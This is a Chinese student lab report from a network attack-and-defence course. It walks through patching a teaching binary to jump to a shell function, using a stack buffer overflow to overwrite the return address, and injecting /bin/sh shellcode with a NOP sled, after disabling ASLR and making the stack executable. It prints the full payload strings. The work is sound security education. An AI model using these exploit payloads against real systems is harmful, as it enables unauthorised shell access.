20155306 白皎 《网络攻防》Exp1 PC平台逆向破解——逆向与Bof基础
实践相关说明
1.1 实践目标
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
1.2 基础知识
- 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
JNE:条件转移指令,如果不相等则跳转。(机器码:75)
JE:条件转移指令,如果相等则跳转。(机器码:74)
JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
- 掌握反汇编与十六进制编程器
反汇编:objdump -d XX
进入十六进制编辑模式:进入十六进制编辑模式
查询:/
切回原模式:%!xxd -r
实践一:直接修改程序机器指令,改变程序执行流程
1.将pwn1文档重命名为pwn20155306
2.将文件进行备份cp pwn20155306 pwn,得到pwn
3.将pwn进行反汇编objdump -d。
从下图的红框中我们可以得到在main函数中按正常流程应该调用foo函数,对应的机器码为08048491,现在我们想让main函数调用getshell函数,而getshell对应的机器码是0804747d。在这里我们利用两个地址的相对偏移来改变调用地址,从而使主函数调用getshell。因此,我们编辑备份文件pwn,并按ESC后,输入:%!xxd,转化为十六进制显示模式,查找要修改的内容/e8 d7(注意:在e8 d7之间要加空格,才可以查找到!)
4.计算两个地址之前的偏移量。
7d比91大14,因此将d7减去14,得到新的地址c3。先按i进入编辑模式,再进行修改,修改完成后::wq来保存。如下图所示:
5.再反汇编看一下,很明显call指令正确调用getShell。
实践二:通过构造输入参数,造成BOF攻击,改变程序执行流
1.反汇编,了解程序的基本功能。
该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞。
2.确认输入字符串哪几个字符会覆盖到返回地址。通过gdb调试来尝试确定。
- 首先,输入1111111122222222333333334444444455555555,观察各个寄存器数值。发现eip寄存器中的值为0x35353535,在ASCII码中30 即为0,因此实际为5555。因此我们将后8个“5”,换成12345678,如下图所示输入,从而判断是那几个数字进行了覆盖。
- 观察寄存器中的值为0x34333231,同理为1、2、3、4。因此可以推出,这四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn,pwn就会运行getShell。
3.确认用什么值来覆盖返回地址。
- 首先通过之前对文件反汇编,可以得到getShell函数的内存地址为0804847d。
- 由于前一步中,输入1234,得到的地址为34333231。因此,getshell的地址应反着输入,正确的是:11111111222222223333333344444444x7dx84x04x08。
4.构造输入字符串
- 因为键盘无法输入x7dx84x04x08这样的16进制数值,所以通过重定向生成包括这样字符串的一个文件。
- x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
- 使用16进制查看指令xxd查看input文件的内容。
实践三:注入Shellcode并执行
1.准备一段Shellcode
Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。这次试用一个已经生成的shellcode:
x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80
2. 准备工作
root@KaliYL:~# execstack -s pwn1 //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1 //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
0
3.构造要注入的payload
-
Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcodenop+shellcode+retaddr。
-
因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边。 -
本次实验,我们使用的结构为:nops+shellcode+retaddr。nop一为是了填充,二是作为“着陆区/滑行区”。
我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
root@KaliYL:~# perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
上面最后的x4x3x2x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
特别提醒:最后一个字符千万不能是x0a。不然下面的操作就做不了了。
4.打开一个终端注入这段攻击buf
root@KaliYL:~# (cat input_shellcode;cat) | ./pwn1
������1�Ph//shh/bin��PS��1Ұ
�
5.再开另外一个终端,用gdb来调试pwn1这个进程。
root@KaliYL:/home# ps -ef | grep pwn1 //找到pwn1的进程号是
root@KaliYL:/home# gdb//启动gdb调试这个进程
(gdb) attach 27728
(gdb) disassemble foo// 通过设置断点,来查看注入buf的内存地址
(gdb) break *0x080484ae
Breakpoint 1 at 0x80484ae
//!!注意:在另外一个终端中按下回车,这就是前面为什么不能以x0a来结束 input_shellcode的原因。
(gdb) c
Continuing.
(gdb) info r esp //查看寄存器的值
(gdb) x/16x 0xffffd3fc //看到 01020304了,就是返回地址的位置。shellcode就挨着,所以地址是 0xffffd400.
root@KaliYL:~# perl -e 'print "A" x 32;print "x20xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
root@KaliYL:~# xxd input_shellcode
root@KaliYL:~# (cat input_shellcode;cat) | ./pwn1
遇到的困难
问题1:每次打开想要编辑文件时,总是出现下图的提示,并且打开文件速度特别慢。
解决:上网搜索后,感觉可能是因为我刚才直接hostname baijiao 改了主机名, 所以接下来就出现这个错误,在主机里面所有的HOSTNAME应该是宏定义,应该不用自己手动改才是,所性直接重启,应该就不会出现这个故障,所以需要通过hostnamectl status查看主机状态真实的主机名是什么,然后通过hostnamectl set-hostname 主机名来真正修改主机名,最后reboot -f来重启生效,这样彻底修改之后以后就不用每次都通过hostname来修改名称了。详细操作见教程《修改hostname主机名》。
解决后正确结果如图:
问题二:在进行update时,出现如下问题,非常多的错误,以及提示部分索引文件下载失败。
解决:尝试了老师给的源以及百度的很多源,都更新失败。在不断尝试中,我发现修改文件时,不一定要编辑好几个源进去,反而只放一个源可以成功,我也不清楚为什么,大家可以多尝试一下。比如我只用该教程《修改更新源》中的第一个源就成功了。
问题三:在进行GDB调试时,不管输入什么命令或者数据,都出现not found。
解决:原因是 kali默认是不支持运行32位的程序的。需要添加32位程序的相关运行库。因此,按照老师给的教程进行安装就可以调试成功啦,见教程《64位Kali无法顺利执行pwn1问题的解决方案》。